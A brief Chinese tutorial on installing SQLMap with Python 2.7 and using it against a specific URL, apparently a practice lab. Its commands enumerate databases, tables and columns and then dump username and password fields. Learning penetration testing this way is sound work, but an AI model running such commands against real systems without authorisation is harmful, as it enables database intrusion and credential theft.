SQLMap 官网地址:http://sqlmap.org/
SQLMap 是一款跨平台的工具,基于 Python,所以电脑里要先安装 Python 环境,需要python2.7.x或者2.6.x环境支持。
下载版本我推荐下载 2.7.15 版本
python官网:https://www.python.org/
python 2.7.15版本下载地址:https://www.python.org/downloads/release/python-2715/
python安装:https://blog.csdn.net/qq_25814003/article/details/80609729
pyhon环境搭建:https://www.runoob.com/python/python-install.html
git clone https://github.com/sqlmapproject/sqlmap.git
在powershell中运行
找到解压目录,按住shift键右击鼠标,点击在此处打开powershell窗口
输入python2 .\sqlmap.py
完美运行
python2 .\sqlmap.py "http://shop.aqlab.cn:8001/single.php?id=1"
指定url:-u
python2 .\sqlmap.py "http://shop.aqlab.cn:8001/single.php?id=1" --dbs
读取数据库:--dbs
python2 .\sqlmap.py "http://shop.aqlab.cn:8001/single.php?id=1" --current-db
连接列出当前应用程序使用的数据库:--current-db
python2 .\sqlmap.py "http://shop.aqlab.cn:8001/single.php?id=1" --tables -D "cake"
获取数据表: --tables ; 指定数据库:-D
python2 .\sqlmap.py "http://shop.aqlab.cn:8001/single.php?id=1" --columns -T "user" -D "cake"
列取字段名:--columns
python2 .\sqlmap.py "http://shop.aqlab.cn:8001/single.php?id=1" --dump -C "username,passwd" -T "user" -D "cake"
转存数据:--dump ;指定数据字段名称:-C; 指定表名(user数据库关键字加上[]):-T ; 指定数据库名称:-D